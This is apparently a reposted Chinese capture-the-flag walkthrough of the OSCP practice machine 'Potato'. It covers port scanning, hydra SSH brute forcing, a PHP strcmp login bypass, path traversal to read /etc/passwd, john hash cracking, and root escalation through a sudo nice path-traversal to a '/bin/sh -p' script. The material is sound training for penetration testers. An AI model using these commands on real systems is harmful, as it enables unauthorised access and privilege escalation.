OSCP系列靶场-Esay-Potato

admin 2024年10月7日20:10:39评论8 views字数 4829阅读16分5秒阅读模式

获黑客教程

免费&进群

OSCP系列靶场-Esay-Potato
OSCP系列靶场-Esay-Potato

总结

getwebshell : ftp读取登录处源码 → 绕过登录限制 → 发现文件读取 → 读取用户加密密码 → john爆破密码 → ssh账号密码登录

提 权 思 路 : sudo文件发现 → nice目录穿越提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.194

OSCP系列靶场-Esay-Potato

  • 启动靶机
    获取目标机器IP → 192.168.203.101

OSCP系列靶场-Esay-Potato

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

sudo nmap --min-rate 10000 -p- 192.168.203.101

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2112/tcp open kip

OSCP系列靶场-Esay-Potato
开放的端口-→22,80,2112

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,2112 192.168.203.101

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
2112/tcp open ftp ProFTPD

OSCP系列靶场-Esay-Potato

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 8.2p1

# 搜索对应脚本
msf6 → searchsploit OpenSSH 8.2p1

OSCP系列靶场-Esay-Potato

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.203.101 -v

显示publickeypassword就是支持密钥以及密码登录

OSCP系列靶场-Esay-Potato

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root @192.168.203.101 -p 22
# 密码尝试
password → root

弱密码尝试失败

OSCP系列靶场-Esay-Potato

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.203.101 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

OSCP系列靶场-Esay-Potato

2112-FTP端口的信息收集

这边ftp端口改到了2112

2112-FTP版本版本信息

通过nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
namp探测版本为ProFTPD

# ProFTPD是开源软件,一般文件位置如下
/etc/proftpd/proftpd.conf

2112-FTP端口匿名登录测试

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.203.101 -p 2112
Name: anonymous

OSCP系列靶场-Esay-Potato

2112-FTP端口-文件GET收集

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件

# binary 以二进制模式传输文件,保证文件完整
ftp → binary
# 查看目录结构
ftp → ls -al
# get 下载文件
ftp → get welcome.msg
ftp → get index.php.bak

OSCP系列靶场-Esay-Potato

2112-FTP端口-PUT上传测试(不允许)

测试是否可以利用PUT上传文件

# 建立一个text.txt的文件测试是否能上传
touch text.txt
# put 上传文件
ftp → put text.txt

OSCP系列靶场-Esay-Potato

文件查看

welcome.msg里面没什么信息

OSCP系列靶场-Esay-Potato
index.php.bak文件像是源码信息,表述的是login登录

OSCP系列靶场-Esay-Potato

80-HTTP端口的信息收集

访问 http://192.168.203.101:80 不是CMS我们直接从HTML隐藏信息收集开始

OSCP系列靶场-Esay-Potato

信息收集-HTML隐藏信息查看

# 包括文章中是否写明一些敏感信息
# curl http://192.168.203.101:80

Potato company

<h1>Potato company</h1>
<p>At the moment, there is nothing. This site is under construction. To make you wait, here is a photo of a potato:</p>
<img src="potato.jpg">

Potato company可能是关键词

OSCP系列靶场-Esay-Potato

信息收集-目录扫描

信息收集-目录扫描初步
dirsearch -u http://192.168.203.101:80 -x 302,403

OSCP系列靶场-Esay-Potato
因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

/admin/端点

访问该端点是一处很简陋的账号登陆

OSCP系列靶场-Esay-Potato

/admin/logs/端点

OSCP系列靶场-Esay-Potato
戳进logs可以看到用户名是admin,其他没什么内容

OSCP系列靶场-Esay-Potato

漏洞利用-getwebshell

登录处实践

发现存在登录端点时尝试的最佳实践指南

  1. 通用弱账号以及密码尝试登陆

  2. 万能密码实践
    浅浅尝试了admin admin没用 唔

OSCP系列靶场-Esay-Potato
想到了之前从ftp中获得的源码,可能有一定的关联
在代码中账号是接受POST传参的username,值必须是admin,正好和logs中得到的用户名信息对应上

if($_GET['login']==="1"){
if (strcmp($_POST['username'], "admin") == 0 &amp;&amp; strcmp($_POST['password'], $pass) == 0) {
echo "Welcome! </br> Go to the <a href="dashboard.php">dashboard</a>";
setcookie('pass', $pass, time() + 365*24*3600);
}else{
echo "<p>Bad login/password! </br> Return to the <a href="index.php">login page</a> <p>";
}
exit();
}

在登录的代码用了strcmp进行对比,如果相同返回0不相同返回非0
只要我们输入的密码和预设的$pass相同就可以成功登录

OSCP系列靶场-Esay-Potato
网上冲浪得到的结果尝试将密码变为数组输入为1个数引发爆破
确定是POST传参之后,利用burp尝试构造

OSCP系列靶场-Esay-Potato
点击按钮前往新功能

OSCP系列靶场-Esay-Potato
发现只有logs可以点

OSCP系列靶场-Esay-Potato

文件读取获取加密密码

发现功能点存在文件读取的功能

OSCP系列靶场-Esay-Potato
尝试是否可以构造成目录穿越,通过观察url以及查看传参抓包确认修改POST

OSCP系列靶场-Esay-Potato
后缀添加尝试失败file=log_01.txt/../../../../../etc/passwd

OSCP系列靶场-Esay-Potato
去掉了log发现成功文件读取
得到用户名与密码webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/

OSCP系列靶场-Esay-Potato
通常来说/etc/passwd文件之中密码是x,读到了完整的密码不简单

离线爆破密码解密

首先将密码保存成文本,尝试爆破

echo '$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/' → pass.hash

利用john爆破获取密码

john pass.hash

得到密码为dragon

OSCP系列靶场-Esay-Potato

22-SSH账号密码登录

获取账号密码之后利用SSH进行登录

sudo ssh webadmin @192.168.203.101 -p22
password → dragon

OSCP系列靶场-Esay-Potato

内网遨游-getshell

FLAG1获取

webadmin @serv:~$ find / -name local.txt 2→/dev/null
/home/webadmin/local.txt
webadmin @serv:~$ cat /home/webadmin/local.txt
9374543a8c1147e45e8799cc8f4732ec

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
webadmin @serv:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04 LTS
Release: 20.04
Codename: focal

发行版本为Ubuntu 20.04,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

webadmin @serv:~$ uname -a
Linux serv 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

内核版本为5.4.0-42

检测当前用户的权限

webadmin @serv:~$ id
uid=1001(webadmin) gid=1001(webadmin) groups=1001(webadmin)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
webadmin @serv:~$ sudo -l
[sudo] password for webadmin:
Matching Defaults entries for webadmin on serv:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User webadmin may run the following commands on serv:
(ALL : ALL) /bin/nice /notes/*

发现需要密码,输入dragon发现内容

OSCP系列靶场-Esay-Potato

权限提升

sudo提权

   (ALL : ALL) /bin/nice /notes/*

发现的内容说明在/notes/文件下任意内容都可以sudo执行nice

OSCP系列靶场-Esay-Potato
尝试在该文件夹下写入一个切换容器的命令并执行

webadmin @serv:/notes$ echo '/bin/sh -p' → /notes/shell
-bash: /notes/shell.sh: Permission denied

发现该目录下没有权限,换了一个思路
找到可以执行的目录写入

cd /tmp
echo '/bin/sh -p' → shell
cat shell
chmod +x shell

尝试利用目录穿越绕过sudo的限制

webadmin @serv:/tmp$ /bin/nice /notes/../../tmp/shell
$ id
uid=1001(webadmin) gid=1001(webadmin) groups=1001(webadmin)
$

提权没有成功,思考问题

OSCP系列靶场-Esay-Potato
忘了加sudo,傻了

webadmin @serv:/tmp$ sudo /bin/nice /notes/../../tmp/shell
[sudo] password for webadmin:
# id
uid=0(root) gid=0(root) groups=0(root)
#

权限提升成功

OSCP系列靶场-Esay-Potato

FLAG2获取

# cat /root/proof.txt
6d57642f1ea9a70324050997c3b2aa7e

完结撒花~

OSCP系列靶场-Esay-Potato

原文地址: https://bbs.zkaq.cn/t/30913.html

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。

原文始发于微信公众号(白帽子左一):OSCP系列靶场-Esay-Potato

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月7日20:10:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OSCP系列靶场-Esay-Potatohttps://cn-sec.com/archives/1954171.html

发表评论

匿名网友 填写信息